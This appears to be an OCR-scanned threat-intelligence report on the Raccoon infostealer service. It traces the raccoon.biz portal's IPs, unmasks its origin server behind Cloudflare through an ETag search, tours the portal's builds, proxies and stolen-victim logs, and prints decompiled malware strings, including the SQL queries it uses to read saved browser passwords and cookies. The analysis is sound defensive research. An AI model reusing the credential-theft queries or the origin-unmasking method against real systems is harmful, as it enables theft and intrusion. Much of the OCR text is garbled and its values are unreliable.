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Analysis on the configuration and operation of the raccoon.biz portal and the "Raccoon" Infostealer
malware.

What is Raccoon? And what is an Infostealer?

Raccoon was born in April 2019 as a Malware As a Service (MaaS), immediately establishing itself
as one of the most widespread and efficient infostealer malware around.

An infostealer is a type of malware designed to steal information and data from the infected pc,
such as:

- Login data
- Credit card information
- Information about cryptocurrency wallets

- Web browsing information
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- Personal data

This information is generally stolen and stored locally on the infected machine, and then
periodically sent to a Comand and Controll (C&C) server run by attackers.

The goal of Infostealers is to collect as much sensitive data as possible: they often remain active for
entire weeks, if not months, without the user being aware of anything.

The most common methods used by this malware to collect data are:

e Keylogging: This technique records keyboard activity: whatever words are typed (thus
including passwords) are stored within a log file.

e  Screen capturing: The Infostealer can record screenshots or screenshots of user activity,
including sensitive data displayed on the screen.

e Credential stealing: The Infostealer can steal login data stored in browsers or in applications
saved on a device.

e Memory scraping: This technique aims to retrieve sensitive data from processes running in

system memory.

Infostealers can be distributed on victim devices in a variety of ways: the most common are
through deceptive emails and/or websites that trick the user into downloading files that only look
genuine, but actually hide malware within them. In fact, it is very common to find Infostealer
hidden behind (usually paid) programs released for free in "complete" form, or behind programs
whose sole purpose is to generate working serial codes (keygen) to register a trial program for free.

Raccoon's creator, Ukrainian Mark Sokolovsky, was arrested in March 2022 in the Netherlands. An
extradition request is also pending on his head from the United States of America, which accuses
him of infecting more than 2 million devices worldwide.

(https://storage.courtlistener.com/recap/gov.uscourts.txwd.1152066/gov.uscourts.txwd.1152066.3.0
odf).
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Where are Raccoon's servers?

Once the victim is infected, the infostealer sends the collected data to servers called "Command &
Control" servers. But where are these servers located? Where are they geolocated?

Through Swascan's Cyber Threat Intelligence (CTI) platform, some posts were found, within
Russian forums, created by the user "raccoonstealer" and mentioning the domain "raccoon.biz.”

Dettagli

ID record Lingua Nome dell'attore
641 '6051f068233f0766 fr raccoonstealer

url Data
2023-01-10

ccoon.biz</b>/support/king https://<b>raccoon biz:/b>/support/racceon https:// oon.biz</b>/support/green https://<b>raccoon.biz</b>/support ..

From OSINT analysis, it was found that between 2019 and 2021 the domain raccoon.biz was
found to be associated (also) with the following Italian IPs 80.211.45.169 and 212.237.18.146:

(D) No security vendor flagged this IP address as malicious = Similar - 32 Graph g3 API
80.211.45.169 (80.211.0.017) T

AS 31034 ( Aruba S.p.A.) 11

Community Score

DETECTION DETAILS RELATIONS COMMUNITY 1

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an APl key to automate checks.

Passive DNS Replication (5) ®
Date resolved Detections Resolver Domain

2021-12-12 0/88 VirusTotal conference.raccoon.biz

2021-12-12 0/88 VirusTotal pubsub.raccoon biz

2021-04-21 0/87 VirusTotal de-d2d25500dd3c.raccoon. biz

2019-08-28 0/87 VirusTotal de-f48081e43c0e.raccoon biz

2019-04-24 12/88 VirusTotal raccoon.biz
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(i) Ne security vendor flagged this IP address as malicious == Similar - %2 Graph @ API
212.237.18.146 (212.237.0.018) T

AS 31034 (Aruba Sp.A. ) [ 1]

Community Score

DETECTION DETAILS RELATIONS COMMUNITY 1

Join the VT Community and enjoy additional ity insights and crowdsourced d plus an API key to automate checks.

Passive DNS Replication (2)

]
Date resolved Detections Resolver Domain
2019-04-14 12 /88 VirusTotal raccoon.biz
2017-06-10 0/87 VirusTotal gosware.ru

In addition to the two ltalian IPs shown above, OSINT research shows that the domain raccoon.biz,
historically, has also been linked to other IP addresses, located in Japan, the Netherlands, and the
United States.

Below is the representation showing the IP addresses, countries and ISPs to which these addresses
appear to be assigned.

o

W

80.211.45.169 212.237.18.146
Ay
dmm Ly
0 A
amwy
R

BL Networks NL

0 ® "]
= W, .
_\i) LEBR 0017 raccoon.biz 150.95.255.38 @

Netherlands

X X O x w® x X O »® w

72.52.4.119 188.114.97.7 188.114.96.7 172.67.194.131 104.18.43.206 104.21.20.219 172.67.170.205 104.21.35.144 104.18.42.206

S = L
Akamai Technelogies Inc. United States of America CloudFlare Inc.

These then are all the "IP - Countries - ISP" associations identified:

- 80.211.45.169 - Italia - "Aruba SPA”

- 212.237.18.146 - Italia - "Aruba Business SRL"
- 150.95.255.38 - Giappone — "GMO Internet”

- 168.100.10.179 - Olanda — "BL Networks"
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- 104.21.39.144 - USA - "Cloudflare”

- 172.67.170.205 - USA - “Cloudflare”
- 172.67.194.131 - USA - “Cloudflare”
- 104.21.20.219 - USA - "Cloudflare

- 104.18.42.206 - USA - "Cloudflare”

- 104.18.43.206 - USA - "Cloudflare”

- 72524119 - USA - "Akamai”

- 188.114.96.7 - USA - “Cloudflare”
- 188.114.97.7 - USA - “Cloudflare”

And precisely the latter two addresses turn out to be the ones currently associated with the
resolution of the "raccoon.biz" domain:

$ dig raccoon.biz L whois 188.114.96.7
is B3 Fwe WEML Database query service.

R
; <<>> DiG 9.18.12-Bubuntu®.22.04.1-Ubuntu <<>> raccoon.biz £ T GRS o) i (Tl e

; global options: +cmd % The RIPE Database is subject to Terms and Conditions.

; Got answer: % See http://www.ripe.net/db/support/db-terms-conditions.pdf

; —>>HEADER<<- opcode: QUERY, status: NOERROR, id: u4857u % Note: this output has been filtered.

; flags: qr rd ad; QUERY: 1, ANSWER: 2, AUTHORITY: @, ADDITIONAL: © |4 To receive output for a database update, use the "-B" flag.

; WARNING: recursion requested but not available
% Information related to '188.114.96.8 — 188.114.99.255'

i; QUESTION SECTION: % Abuse contact for '188.114.96.0 — 188.114.99.255' is 'abuse@cloudflare.com’
;raccoon.biz. IN
inetnum: 188.114.96.0 — 188.114.99.255
.. . netname: CLOUDFLARENET-EU
i ANSWER SECTION: descr: CloudFlare, Inc.
raccoon.biz. IN 188.114.96.7 descr: 101 Townsend Street, San Francisco, CA 94107,
raccoon.biz. IN 188.114.97.7 descr: +1 (650) 319-8930
descr: https://cloudflare.com/
) country: us
i Query time: 119 msec admin—c: CACB6-RIPE
;; SERVER: 172.17.240.1#53(172.17.2468.1) (UDP) tech-c: CTC6-RIPE

. . . status: ASSIGNED PA
WHEN: Wed Jul 26 15:29:39 CEST 2023 e WMNT-CLOUDFLARE

i
73 MSG SIZE rcvd: 72 mnt-lower: MNT-CLOUDFLARE
mnt-routes: MNT-CLOUDFLARE

How can the “original” server be traced back
behind WAF?

Using a Web Application Firewall makes it possible to protect a Web site and, at the same time,
hide the Origin Server IP from the eyes of the end user. Or at least, that's in theory...

There are a few techniques used to detect these IP addresses: some based on historical domain
name resolutions (looking for traces of DNS association before WAF installation), others based on
response metadata.

And just by analyzing the response headers related to calls made to Raccoon's WEB portal, the
Etag field was extrapolated, which, in the case of raccoon.biz, turns out to be "64b693c6-1b4."
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i [d Elements  Console  Sources  Network  Performance  Memory  Application  Security Lighthouse  Recorder J4 B1 | &

® @ | Y Q  (JrPreservelog [ Disable cache Mothrotting ¥ & | L &

Filter O Invert [ Hide data URLs All | Fetch/XHR JS CSS Img Media Font Doc WS Wasm Manifest Other [ Has blocked cookies [ Blocked Requests [ 3rd-party requests

100 m: 00 m: 300 ms 400 ms 500 ms 600 ms 700 ms 800 ms| 900 ms 1000 ms 1100 ms 1200 ms
H
Name X Headers Preview Response Initiator  Timing
v General
main.641690ce js Request URL: https:{/raccoon.biz/

7] DMMono500.36e96121a43113ab3885.woff2 Request Mathod: cET

[ faviceniica Status Code: ®:304

(@ Inter500.6ec7ed4e8bb2539%ef71.woff2 Remote Address: 127.0.0.1:22510

[T Inter600.2395¢69¢1eOb3eeci384.woff2 Referrer Policy: strict-origin-when-cross-origin

(@) Inter700.ec6dea577b034%e055ad woff2

[ auth ¥ Response Headers
Alt-Sve: h2="cflarekidv3Ih674hqa5k3nTxd4iblwx3pnwb Trr3gkpsonjmxbkboed.onion:443"; ma=86400; persist=1
Cf-Cache-Status: DYNAMIC
Cf-Ray: Teccec75950cal1-HAM
Date: Wed, 26 Jul 2023 13:17:32 GMT
Etag: "64b693c6-1b4"
Last-Modified: Tue, 18 Jul 2023 13:29:42 GMT
Nel: (*success_fraction’:0,“report_to"+"cf-nel" “max_sge":604800]
Report-To: {“endpoints™[{"ur™"https:\/\/a.nel.coudflare.com'/report'/v3?

s=8RdFvp&%2B)32BOkaRDd Défemrb6RaCkKEs0YXQy OV CqahVrvsyfyl 2 1Zsub%2 BjWQtMCMRELDLFy8yoriZe2 Bjhjmgaxub
vZA%2FGMI4hAxuwl6xXqHj1a%2BuWK3e2BcH2BWwWT 3 2BXZA3D3%30"], "group™ "cf-nel”,"max_age":604800}

Server: cloudflare

But what is ETag?

ETag is short for Entity Tag, and is a string identifying a specific resource. It is often used by
webservers to optimize the cache (if the etag is the same, the page has not changed, and therefore
there is no need to resend its contents). It is placed within the header of the response sent by the
server to the client that requested the page content (https://developer.mozilla.org/en-
US/docs/Web/HTTP/Headers/ETag).

If a page does not change, therefore, the etag will look the same even days later.

But what happens if the owner of the WAF-protected website forgets to restrict traffic to the Origin
Server only and only to that coming from the WAF itself?

What happens is that a direct call to the Origin Server (without targeting the WAF) allows direct
access to the original site!

What if the IP of the original site is unknown...? The etag is just the answer!

By exploiting special search engines (such as Shodan) and with a bit of luck, it is possible to search
the ETag string and detect the real Origin IP.

And that is how two different IPs of Raccoon's WEB service were found, linked to the obtained
ETAG, namely 193.149.187.16 and 192.153.57.54:
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& 193.149.187.16

) SSL Certificate

& 192.153.57.54

Both addresses belong to the Dutch provider "BL Networks" (also provider of Virtual Private Server
- VPS - this their site: https://bitlaunch.io). The former appears to have been connected to
raccoon.biz since at least March 2023, while the latter appears to be "clean.”

-
T) 1security vendor flagged this IP address as malicious = Similar + 3 Graph 3 API

88 193.149.187.16 (193.149.187.0/24) el:] t Analysis Date
AS 393629 [ BLNWX ) =58 12 days ago
Community Score
DETECTION DETAILS RELATIONS COMMUNITY 1
Passive DNS Replication (1) 0
Date resolved Detections Resolver Domain
2022-10-12 87 VirusTotal pedroparasite.buzz
Historical Whois Lookups (2) ¢
Last Updated Organization Email
+ 20230303
+ 202210-12

Historical SSL Certificates (3) 0

First seen Subject Thumbprint

T 20230719 Taccoon bz cde4a7258id4al139159e38589d0BHE 11664877
+ 2023.04-15 raccoon biz
+ 2023.03.03 raccoon biz 71189115262e3c2560b808B8%e58chS 190bEIIBD
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) Mo security vendor fiagged this IP address as malicious =Simiar - ¥ Grapn @ API
192.15357.54 (192.15357.0/24)

AS 399629 (BLNWX) —

DETECTION DETAILS RELATIONS COMMUNITY 1

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Security vendors' analysis (D Do you want to automate checks?

oxs|_133d Abusi
Acronis ADMINUSLabs

AICC (MONITORAPP) Alienvauit
alphaMountain.al Alphasoc

Antiy-AvL ArcSight Threat Inteligence
AutoShun Avira

benkow.cc Blore A1 PreCrime

BitDefender Bav
Bluel Gertego
Chong Lua Dao GINS Amy

Trying to browse port 443 of the first IP found, and port 80 of the second IP found, confirms that
on these IPs is precisely the access portal to raccoon.biz:

O & 193.149.187.16

)

& [ welcome back ]
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QO A 192.153.57.54

These are the details about the SSL certificate on the first site and created with Let's Encrypt:

Visualizzatore certificati: raccoon.biz

Generali =~ Dettagli

Rilasciato a
Mome comune (CM) raccoon.biz
Organizzazione (O) <Mon parte del certificato>
Unita organizzativa (OU) <Mon parte del certificato>
Emesso da

Mome comune (CH)

Organizzazione (0)

Unita organizzativa (QU) parte del certificato>

Periodo di validita

Emesso in data martedi 30 maggio 2023 alle ore 11:46:27
Scade in data lunedi 28 agosto 2023 alle ore 11:46:26

Impronte digitali

Impronta digitale SHA-256 77 52 17 DD B5 5E 9B 37 D8 F2 6F F6 2B 9F 1B 1D
F5OAF207591F 30 21 9B 14 82 96 A1 AE65 F3

Impronta digitale SHA-1 CAE4 AT258F D4 AF139159E3 85890 D0 8F F8
1FE6 D877
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How does the raccoon.biz portal work?

Simple interface, "one click" model: even less experienced users can, graphically and with very little
effort, make their own "infostealer" malware ready to be sent to their victim.

This is precisely the paradigm of Malware as a Service (MaaS): making simple and "ready-to-use"
criminal business otherwise exploitable only by people with high technical skills.

Upon logging into Raccoon's portal, the following screen is shown:

2o SETTINGS

NYHLWAR CKYNKA
YOUTUBE! MINAYY
MHOro!

OTPAEOTKA CETOK |
RANSOMWARE

CITRIX\RDWEB* |
RANSOMWARE

On the home page, the costs of the infostealer malware are clearly presented: they range from
$125 for a single week, to $2400 for an entire year. It is also possible to request the generation of
additional "builds" (malware variants) by paying an additional amount (from $50 to $600)
proportional to the number of malware requested.

To top up one's balance, the only accepted method is through Bitcoin or Ethereum transactions.

These are the addresses of the wallets that can be used for payment:
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Bitcoin payment Ethereum payment
Address for manual pay:
Oxaed82eae8d AN T
1

Address for manual pay:

3LfbzUGmMwY x Il . i

From the "Settings" item, it is possible to configure information about the TimeZone, the 2FA, the
Telegram Bot (which will receive victim logs as they become available), and the "blockchain

explorers" to verify the correctness of the stolen wallets:

Time zone

Language

Advartising

Change password

OTPABOTKA CETOK \
RANSOMWARE
CITRIX\RDWEB" \
RANSOMWARE

SELL YOUR FB LOGS

MYHIAR CKYMKA
YOUTUBE! NAAYY
MHOr ot

3k English -

Telegram bot

Chat ID:

Send panel usemame

Send files

Send only logs with walleis

Proxy status notification

On the left is a menu with the following items:

- News

- Builds
- Proxies
- Logs

- Support

www.swascan.com | info@swascan.com
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In this journey through Raccoon's lair, each item will be explained in detail.

News Section

The "News" section contains the news in the latest version (build) of the malware itself:

Bild version

Many may have noticed that the version in the panel is now displayed in 4 digits ( 2.1.1.1)
¥ We explain

2 - global version
.1 - the panel version is obtained
1.1 version of the build and the last is the cleaning number of this version

Going backwards in the news, we see that the Build of the latest version of the stealer (amounting
to "2.1.1") was released on 13/05/2023:

RS V211 Update

Dear customers, Glad to introduce the new version of Raccoon Steeler 2111 »

77 Lin the new update 2.11, the principle of adding gaskets to the panel has been changed :

T LNow you must specify the port in the proxy URL in this way:

7 hp/f2*****38:80/  was: hitp:/f2*****38/)

7T it an S3L-protected connection is used, you must specity port: 443 . Default port- 80 .
It aleo became possible to change the port on the gasket iteeld, this can help slow down the detection and ban of your gaskets | Need additional. actions for mone advanced users )
7 Thesa changes are aimed &t bypassing tha datects of soma ABs, Including Win Daf . Tha changes do not yet apply to referances in the rules. of tha boater

In version 2,11, PE protection is sightly changed

# The detection relative to version 2.1.0-x ks significantly reduced I5tub weight specially increased to 480 kb

THE BEST YOUTUBE
PURGHASEI i YR If you have already added gaskels, you need to edit their URL, then click "Edit Prexy List® on the *Bilds” tab and modify the gaskets with the new fonmat in the right order

MucH
77 Stack Detect: hitps:ifavcheck.net/id/QZ4algtQZjvh [ 2/26]
& Win Def + Cloud - undetect &
Crypt: @Cryptiupport | @gelipper
Open for collaboration with other cryplors, commaenting and checking your cryp
Old bilds work | Neéw tickets will not wark with the old URL format, and the old ones will not work with the néwnet | id | 0Z4a)gt0ZjVe [ 2126 |
& Win Def + Cloud - undetect @
Crypt: @CryptSupport | @gelipper %
©pen fior collaboration with other crypiors, commenting and checking your crypt |

Ol bikis work | New tickets: will not work with the old URL format, and the old ones will not work with the newnet | id / OZ4aJgtOZjVe [ 2526 )

& Win Def + Cloud - undetect B
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Within the post there is also a reference to a scan done on avcheck.net, a service (for a fee) that
allows you to anonymously test an executable and give you the information on how many Antivirus
can detect it:

Welcome to AvCheck.net - anonymous high-speed antivirus scantime checker

Scan files with 26 antivirus engines: Scan domains/ip with 22 antivirus engines and blacklists:

Adaware Antivirus 12

Avast Internet Security

AnnLab V3 Internet Security

AVG AntiVirus

©
©

Alyac Internet Security Bitdefender Total Security

-
-

Avast Internet Security Dr.Web Security Space 12

AVG AntiVirus

Emsisoft Anti-Malware

®

Avira Antivirus

®

ESET NOD32 Antivirus

o

Bitdefender Total Security

o

FortiClient Antivirus

®

BuliGuard Antivirus

®

F-Secure SAFE

©

ClamAv.

©

Kaspersky Intemet Security

3

Comodo Antivirus

3

Malwarebytes Anti-Malware

Dr.Web Security Space 12

Norton Safe Web.

Emsisoft Anti-Malware

Sophos Home.

o

ESET NOD32 Antivirus

o

Trend Micro Intemet Security

2

FortiClient Antivirus

2

Zillya Intemet Security

F-Secure SAFE

Avira Browser Safety

>

IKARUS anti.virus

>

Bitdefender TrafficLight

S
S

Kaspersky Intemet Security BlockList de

EJ

McAfee Endpoint Protection

EJ

Google Safe-Browsing

@
o

Malwarebytes Anti-Malware 9 Malware Domain Blocklist

8

Panda Antivirus

8

McAfee Site Advisor

Sophos Home. Spamhaus

Trend Micro Intemet Security Yandex Safe-Browsing

Specifically in the news is the following link to avcheck's analysis:

https://avcheck.net/id/QZ4algtQZjVb

File name Is hidden task id: QZ4algtQZjVb started: 2023-05-13 13:34 duration: 2 sec
File 1 (478 kb): 2/26 - avira, emsisoft md5: 588k...cd45 (hidden)

Antivirus Result

Adaware Antivirus 12 clean

AhnLab V3 Internet Security clean

Alyac Internet Security clean

Avast Internet Security clean

AVG AntiVirus clean

Avira Antivirus HEUR/AGEN.1316207

Bitdefender Total Security clean

BullGuard Antivirus clean

ClamAV clean

Comodo Antivirus clean

Dr.Web Security Space 12 clean

Emsisoft Anti-Malware Gen:Variant. Agiala.32

ESET NOD32 Antivirus clean

ForfiClient Antivirus clean

F-Secure SAFE clean

IKARUS anti.virus clean

Kaspersky Internet Security clean

McAfee Endpoint Protection clean

Malwarebytes Anti-Malware clean

Panda Antivirus clean

Sophos Home clean

Trend Micro Internet Security clean

Webroot SecureAnywhere clean

Windows 10 Defender clean

ZoneAlarm Antivirus clean

Zillya Internet Security clean
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Thus, on the day the build was released (13.05.2023), only 2 out of 26 antiviruses were able to
detect that version of Raccoon Infostealer. Repeating the analysis on 07/27/2023, the number of
antiviruses able to detect the analyzed executable increased to 11/26:

2.1.1.1.exe (51kn) task id: tHAEBJQSSnkS started: 2023-07-27 11:53:02 duration: 3 sec
2.1.1.1.ene (51 kb): 11126 - adaware, alyac, avast, avg, svira, bitdef, drweb, emsisoft, nod32, mbytes, windef mal5: ShTE 2480420 100180252065 an0odT

Antivirus Result detected: 11126

Adaware Aiinus 12 GenTrojan. Heur, JP.dimW Basyny gl

AhnLab V3 Intermnet Securty clean

Alyac Intermet Security GenMariant Lazy 294038

Avast Internet Security Win3Z:PWSX-gen [Trj]

AVG AntiVirus Win32:PWSX-gen [Trj)

Avira Antivirus HEUR/AGEN. 1316207

Bitdefender Total Security GenVariant.Lazy. 294038

BullGuard Antrins clean

ClamAV clean

Comodo Antivirus clean

Dr.Web Secunty Space 12 Trojan.PWS.Siealer.2 7207

Emsisoft Anti-Mabware Gen:Trojan.Heur.JP.dmW @aeYn'Ygj

ESET NOD32 Antivirus a variant of Win32/PSW.Agent. 0OQ trojan

FortiClient Antivirus clean

F-Secure SAFE clean

IKARUS antivirus clean

Kaspersky Intemet Security clean

McAfee Endpoint Protection clean

Mabwarebytes Anti-Mabvare Spyware PasswordStealer

Panda Antivinis clean

Sophos Home clean

Trend Micro Internet Security clean

Webrool SecureAmanwhere clean

Windows 10 Defender Trojan-Win32/Phonzylic

ZoneAlarm Antivines clean

Zillya Imermet Security clean

Builds Section

The builds section contains the actual malware, found in both "exe" and "dIl" formats:
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It is possible to add new builds if multiple variants have been purchased. The interface also allows a
(custom) configuration to be associated with each build created.

The configuration can be created by selecting the "Add Config" item at the top and defining one
(or more) rules related to both the File Loader and the File Grabber:

Add config
= Screenshots @ o Telegram @ M Discord @ l Signal @
File loader

Rule: 1 E UR %USERPROFILE%\ ~

File grabber
Rule name

Recursive [] Shortcuts []

It is possible, for example, to reserve the malware only for certain countries or, conversely, to have
it run worldwide except in some specifically specified nations.

By means of File Grabber's rules, it is possible to indicate punctually in which folders to go and
search for data, or which extensions not to consider in the collection, as well as to put a limit on the
maximum size of the file to be exfiltrated.

It is also possible to collect screenshots and data related to Telegram, Signal and Discord.

Proxies Section

Without first generating a proxy, a build cannot be generated:

A Not found enabled proxies
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Purchasing a proxy can be done by pressing the "Buy Proxy - zerohost.io" button found precisely in
the proxy section:

BUY PROXY ~ ZEROHDST.I0

ZeroHost - bot

Moppepxxa (Support) -
Hosoctn (News) -

SEND MESSAGE

Trying to write a message and starting the bot accordingly, the following menu is shown:

L My Servers = Buy Server

& Topup Balance @ My Account

By clicking on "Buy Server," you can proceed to purchase a VPS geolocated in Russia or the
Netherlands:

== Buy Server

Select the desir tion

— . as "
Russia, Moscow ( | New Processor)

% == Netherlands, Amsterdam
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Location - = Russia

& Promotion! All tariffs have a 33% discount!

r - Ryzen 9 7950X (5.8Ghz)
- DDRS (5600 MHz)

ion StormWall

1 CPU, 2 GB RAM, 20 GB NVMe, $30 per month

2 CPU, 4 GB RAM, 40 GB NVMe, $44 per month

4 CPU, 8 GB RAM, 80 GB NVMe, $72 per month
8 CPU, 16 GB RAM, 160 GB NVMe, $125 per month
12 CPU, 24 GB RAM, 240 GB NVMe, $170 per month
16 CPU, 32 GB RAM, 320 GB NVMe, $208 per month

24 CPU, 48 GB RAM, 480 GB NVMe, $284 per month

It is also possible to choose the machine's operating system, from a long list of available
distributions:

Location - = R E
Tariff - RU-HICPU-ABS-1-2

Number of cc -1 CPU R9 7950X (5.8Ghz)

CentOS 7
Debian 10
Debian 9
Ubuntu 16.04
Ubuntu 18.04
Ubuntu 20.04
Ubuntu 22.04
CentOS 8 Stream
FreeBSD 12
FreeBSD 13
Astra Linux CE
Alma Linux 8
Rocky Linux 8
Oracle Linux 8
Debian 11
Vzlinux 8

Cent05 9 Stream

For payment, a choice is available with many different cryptocurrencies:
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TON

USDT TRC-20

USDT ERC-20 USDC TRC-20
USDC ERC-20 BUSD
DASH BCH
LTC BNB

TRX MATIC

% LZT Market

Once the proxy is purchased, it must be configured to communicate with the "main proxy."

Update proxy

_ URL .
| nttpy

Comment

Enabled

AV detects notifications

This technique is used to reduce the likelihood that communications will be blocked: the victim's
logs are in fact sent to the (new) proxy configured by the attacker (presumably not known from
OSINT sources), and then forwarded to the "Main Proxy."

Logs Section

Within the Logs section are the data purloined from victims. These can be downloaded (via the
"Download" button) or viewed conveniently from the graphical interface.

The screen shows the data in schematic form: each row corresponds to a different victim.
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In the various columns, information regarding:

- BLD: is the number of the malware build, useful in case of multiple available builds
- GEO: the country and IP address of the victim

- PWD: the number of password retrieved by infostealer

- CKE: the number of cookies

- WLT: the number of cryptocurrency wallets recovered (Wallet)

- CC: the number of credit cards recovered

- ACT: the size of the data exfiltrated

By clicking on one of the non-zero entries, you can get the details of the information collected.

This, for example, is the Cookies screen:
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This one related to the passwords collected:

@w Passwords

Chrome

Chrome

In case there is a lot of data present, there is an advanced search screen that allows you to filter
through the various data present and quickly find the data of interest:

DAY WEEK MONTH YEAR ALL

Passwords @ Cookles (5 Wallets [ Seed phrases %P Telegram (® Comments [E] No doubles [T} Strict search &2

Tag name G chat ID Send files [] Send only logs with wallets []

Instead, clicking on Download downloads a .zipper file containing all the exfiltrated files from a
directory in the "rssrv.org" domain:
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‘ttps://rssrv.org/multidownloads/8dc17c32
TR 86a4c/747fbectee

6 . 1979/a74bse3dcsed! (0
o e 2lraccoon_3_logs_20
gigiaziens Al ot

The domain rssrv.org turns out, also, to be protected by Cloudflare:

$ dig rssrv.org

; <<>> DiG 9.18.12-0ubuntu®.22.04.1-Ubuntu <<>> rssrv.org
; global options: +cmd
;3 Got answer:
; —>>HEADER<<- opcode: QUERY, status: NOERROR, id: 47124
; flags: qr rd ad; QUERY: 1, ANSWER: 2, AUTHORITY: ©, ADDITIONAL: ©
; WARNING: recursion requested but not available

;3 QUESTION SECTION:
;rSsrv.org. IN

;3 ANSWER SECTION:
rssrv.org. IN 104.21.16.13
Irssrv.org. IN 172.67.209.194

;3 Query time: 230 msec

;3 SERVER: 172.17.240.1#53(172.17.240.1) (UDP)
7+ WHEN: Tue Aug 01 15:05:56 CEST 2023

;3 MSG SIZE rcvd: 68

(i) 3 detected files communicating with this IP address = Similar ~ 2 Graph & AP

172.67.200.194 (172.67.0.0/16) us Last Anslysis Dats
AS 13335 ( CLOUDFLARENET ) m= | 1dayago
Community Score
s R S S s S S S i s R St e b
() 2 detected files communicating with this IP address = Similar ~ 3 Graph & API
104211613 (104.16.0 0/13) Last Analysis Date
AS 13335 ( CLOUDFLARENET ) 9 days ago

Community Score

The downloaded .zipper archive contains all the files exfiltrated from the victim machine:
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QPEI 4) System Info.txt

Sys 1

E System Info.txt

User ID: |Administrator
Last seen: Sun Mar 2023 15:25:37 GMT+0100 (Central European Standard Time)
Build:

IP info!

System Information:
- Locale: Chinese (Simplified)
- Time zone: +480 minutes from GMT
- 05: Windows Server 2016 Datacenter
- Architecture: x64
- CPU: AMD EPYC 7K62 48-Core Processo (2 cores)
- RAM: 4095 MB
- Display size: 1920x1080
- Display Devices:
0) RDPUDD Chained DD

Installed applications:
7-Zip 22.01 (x64)
AdsPower Global 4.10.18
Cloudbase-Init 1.1.2 1.1.2.0
Google Chrome 110.0.5481.178
EhmAZE 12.3.0E3R 12.3.0.6377

Support Section

For those who have difficulties of any kind, support can be requested, strictly via Telegram, by
accessing the "Support" section of the raccoon portal and clicking on one of the 4 telegram
accounts listed on the page:

Support

raccoon green king newsup

Telegram m Telegram Telegram @miaranimator Telegram @serveraddict

@slauther_team:
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C M 25 tLme/slaughter_team

=4 Telegram

SLAUGHTER &% GANG &

No system is safe

@gr33nl1ght

C M 23 tme/gr33nilght

-4 Telegram

Raccoon Stealer !'CHECK
BlO!M!

QOTHER SUPPORTS

@miaranimator
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| =] 23 tme/miaranimator

-4 Telegram

Miar Animator
Other supps:

@serveraddict

¢ M 25 tme/serveraddict

=4 Telegram

Raccoon Serv
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Malware Analysis

The analyzed malware variants do not appear to be known at the OSINT level:

2.1.1.1.dIl (MD5: b0a99b3fabf3d3c766cd6c6589dfe3e7)

E b0aS9b3iabl3cseT58coReB 580307

@

No matches found

2.1.1.1.exe (MD5: 5b75248a42610c18825ff2065a60cd4f)

2 5075248042100 18825206505 00041

@

No matches found

Atermatively, do you want to kocalo your threal based on stalic, dynamic, content, atribution o other acvancad oG cs

am
VirusTotal's enfire threat corpus using a myriad of modiiers. learm mos

The analyzed .exe sample (5b75248a42610c18825ff2065a60cd4f) contains within the .rdata section
references to the different functions used to obtain the information stealing attributes and the

enumeration configuration of the stolen attributes, such as URLs, Usernames and Passwords related
to the stolen login data.

Among the most important functions, we highlight:
- InternetOpenW
- HttpSendRequestW

- InternetReadFile
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- InternetOpenUrlASHGetSpecialFolderPathW
- RegQueryValueExW

- CryptStringToBinaryA

The analyzed sample does not have a high entropy coefficient, so there is no packing condition or

code shuffling:

D& Entropy

Type Offset Count

PE32 00000000 00 =

Total
6.03710 not packed(75%)

Offset Size Entropy Status

00000000 00000400 2.02345 not packed PE Header

000 ) 5.96565 not packed Section(0)["text']
0000b200 00001600 496227 not packed Section(1)['.rdata’]
0000800 00000200 0.02321 not packed Section(2)['.data’]

T T T T [ T T T T [ T T T T [ T T T T [ T T T T [ T T T T ]

10,000 40,000

Interesting are the strings present in plain text within the malware. The "skeleton" of the
"SystemlInfo.txt" file with all the information about the victim machine, as well as references to
Wallets and the use of sqlite3 to extract and save the information, is reproduced below:
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2 /% WARNING:

3
e[

7 DAT_0040e4£0 =

Glokals starting with '_!'

cwverlap smaller symbols at the same address

4 void FUN_004042e7 (void)

"tlgrm ";

8 DAT 0 cl = "sgnl_";

] DAT_0040e4d0 =

10 DAT_0040s2a4 =
11 DAT 0040e55c =
12 DAT_0040e4c0 =
13 DAT_0040e4d8 =
14 DAT_0040e304 =
15 DAT_0040e584 =

& DAT_0040e2£f4 =

17 DAT_0040edac
3 DAT 00408233 =
149 DAT 0040e5138

20 DAT_0040e4dc

&DAT 00407545

"grbr_";

"dscrd_":

"\ tTRUE\t%3\tiatis\tia\t3a\n";
"URL:%s\nUSR:%3\nPASS:%3\n";
"wehtid)
S
S

3\n";

Locale: $s3\n";

05: %s\n";

BAM: %d MB\n";
Time zone: 3$c%ld minutes from GMI\n";
Display size: $dxsd\n";

_0040c314;

21 DAT 0040544 = Architecture: x%d\n";

22 DAT 0040e2dc = "\t- CPFU: %3 (%d cores)\n";

23 DAT 0040e3bi = t- Display Devices:\n%s\n";

24 DAT_0040e4ed = "formhistory.sglite”;

31 DAT 0040e2d4 = &DRT_0040cEdcs

32 DAT 00402274 = &DRT_0040cE30;

33 DAT_0040e3d4 = &DRT_0040c294;

34 DAT 00402284 = &DAT 0040cB53;

35 DAT 0040g2a0 = "logins.json™;

36 DAT 0040ed4bc = "\\autofill.txt";

37 [DAT 0040ed4ec = "\\cookies.txt";

38 DAT_0040e50c = "\\passwords.txt";

38 DAT 0040e430 = gDAT_ 0040cBd3;

40 DAT 0040e52c = &DAT_0040cidcy

41 DAT 00402458 = &DRT_0040cEe0;

42 DAT_0040e4ald = "Content-Type: application/x-www-form-urlencoded; charset=utf-3";
43 DAT_0040ed4ed = "Content-Type: multipart/form-data; boundary=";
44 DAT 0040ed460 = "Content-Type: text/plain;™;

45 DAT 0040504 = "User Data™;

& DAT 0040e3al = "wallets™;

47 DAT 0040e578 = "wlts_";

g DAT_0040e48c = DRT_0040c®3cs

48 DAT 00402524 = "scrnsht_";

50 DAT 0040s434 = "sstmnfo_";

51 DAT 00402490 = "token:";

52 DAT 00402474 = "nss3.dll";

53 DAT_0040e260 = "sglited.dll";

5 DAT 0040e56c = "SOFTWARE\‘\Microsof WWindows NT\\CurrentVersion";
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"sglite3_close";
"aglite3_step”;

= "aglite3_finalize";
= "sglited_column_textlée™;

65 = "aglite3_column_bytesleé™;

66 "sglited_column_blob";

g "5S5ELECT origin_url, username value, password value FROM logins™;

65 DAT_|

64 "SELECT host_key, path, is_secure , expires_utc, name, encrypted wvalue FROM cookies";

= "SELECT name, wvalue FROM autofill™:

"Stable™;

SELECT host, path, isSecure, expiry, name, value FROM moz_cookies™;
